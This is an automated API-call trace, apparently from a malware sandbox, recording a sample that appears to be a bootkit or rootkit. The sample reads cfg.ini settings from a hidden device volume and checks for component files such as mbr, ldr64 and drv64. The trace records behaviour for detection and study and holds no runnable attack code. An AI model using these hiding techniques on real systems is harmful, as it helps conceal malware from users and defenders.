_strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.843] KeLeaveCriticalRegion () [0120.843] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.843] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.843] KeEnterCriticalRegion () [0120.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.843] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350e000 [0120.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.844] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.844] IdePortDispatch () returned 0x103 [0120.844] KeWaitForMutexObject () returned 0x0 [0120.844] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.844] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.844] IdePortDispatch () returned 0x103 [0120.844] KeWaitForMutexObject () returned 0x0 [0120.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.844] KeLeaveCriticalRegion () [0120.844] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.845] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.845] KeEnterCriticalRegion () [0120.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.845] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.845] KeLeaveCriticalRegion () [0120.845] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.845] KeEnterCriticalRegion () [0120.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.845] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.845] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.845] KeLeaveCriticalRegion () [0120.845] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.845] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.845] KeEnterCriticalRegion () [0120.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.845] ExFreePoolWithTag (P=0xfffffa8003bbbdc0, Tag=0x0) [0120.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.845] KeLeaveCriticalRegion () [0120.845] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.845] ReleaseMutex (hMutex=0xf0) returned 1 [0120.845] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.845] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.845] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.845] KeEnterCriticalRegion () [0120.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.845] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.845] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.845] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.845] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.845] IdePortDispatch () returned 0x103 [0120.846] KeWaitForMutexObject () returned 0x0 [0120.846] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.846] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.846] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.846] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.846] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.846] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd850 [0120.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.846] KeLeaveCriticalRegion () [0120.846] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.846] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.846] KeEnterCriticalRegion () [0120.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.846] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.846] KeLeaveCriticalRegion () [0120.846] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.846] KeEnterCriticalRegion () [0120.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.846] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.846] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.846] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.846] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.846] IdePortDispatch () returned 0x103 [0120.846] KeWaitForMutexObject () returned 0x0 [0120.846] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.846] KeLeaveCriticalRegion () [0120.846] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.846] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.847] KeEnterCriticalRegion () [0120.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.847] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350f000 [0120.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.847] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.847] IdePortDispatch () returned 0x103 [0120.847] KeWaitForMutexObject () returned 0x0 [0120.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.847] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.847] IdePortDispatch () returned 0x103 [0120.847] KeWaitForMutexObject () returned 0x0 [0120.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.847] KeLeaveCriticalRegion () [0120.847] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.848] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.848] KeEnterCriticalRegion () [0120.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.848] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.848] KeLeaveCriticalRegion () [0120.848] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.848] KeEnterCriticalRegion () [0120.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.848] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.848] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.848] KeLeaveCriticalRegion () [0120.848] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.848] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.848] KeEnterCriticalRegion () [0120.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.848] ExFreePoolWithTag (P=0xfffffa8003bbd850, Tag=0x0) [0120.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.848] KeLeaveCriticalRegion () [0120.848] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.848] ReleaseMutex (hMutex=0xf0) returned 1 [0120.848] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.848] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.848] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.848] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.848] KeEnterCriticalRegion () [0120.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.848] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.848] IdePortDispatch () returned 0x103 [0120.848] KeWaitForMutexObject () returned 0x0 [0120.849] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.849] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.849] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.849] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.849] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.849] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.849] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.849] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.849] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.849] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.849] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.849] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.849] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.849] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.849] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.849] KeLeaveCriticalRegion () [0120.849] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.849] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.849] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.849] KeEnterCriticalRegion () [0120.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.849] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.849] IdePortDispatch () returned 0x103 [0120.849] KeWaitForMutexObject () returned 0x0 [0120.849] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.849] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.849] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.849] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.849] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.849] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.849] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.849] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.849] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.849] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.849] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.849] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.849] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.849] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.849] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.850] KeLeaveCriticalRegion () [0120.850] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.850] ReleaseMutex (hMutex=0x100) returned 1 [0120.850] Sleep (dwMilliseconds=0x2bf20) [0120.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b3ad3f0, dwHighDateTime=0x1d24fa4)) [0120.856] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.856] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.856] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.856] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.856] KeEnterCriticalRegion () [0120.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.856] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.856] IdePortDispatch () returned 0x103 [0120.856] KeWaitForMutexObject () returned 0x0 [0120.856] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.856] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.856] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.856] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.856] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.856] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9410 [0120.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.856] KeLeaveCriticalRegion () [0120.856] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.856] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.856] KeEnterCriticalRegion () [0120.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.856] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.856] KeLeaveCriticalRegion () [0120.856] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.856] KeEnterCriticalRegion () [0120.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.856] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.856] IdePortDispatch () returned 0x103 [0120.857] KeWaitForMutexObject () returned 0x0 [0120.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.857] KeLeaveCriticalRegion () [0120.857] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.857] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.857] KeEnterCriticalRegion () [0120.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.857] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003512000 [0120.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.857] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.857] IdePortDispatch () returned 0x103 [0120.857] KeWaitForMutexObject () returned 0x0 [0120.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.857] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.857] IdePortDispatch () returned 0x103 [0120.857] KeWaitForMutexObject () returned 0x0 [0120.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.858] KeLeaveCriticalRegion () [0120.858] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.858] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.858] KeEnterCriticalRegion () [0120.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.858] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.858] KeLeaveCriticalRegion () [0120.858] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.858] KeEnterCriticalRegion () [0120.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.858] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.858] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.858] KeLeaveCriticalRegion () [0120.858] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.858] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.858] KeEnterCriticalRegion () [0120.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.858] ExFreePoolWithTag (P=0xfffffa80039d9410, Tag=0x0) [0120.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.858] KeLeaveCriticalRegion () [0120.858] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.858] ReleaseMutex (hMutex=0xf0) returned 1 [0120.859] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.859] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.859] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 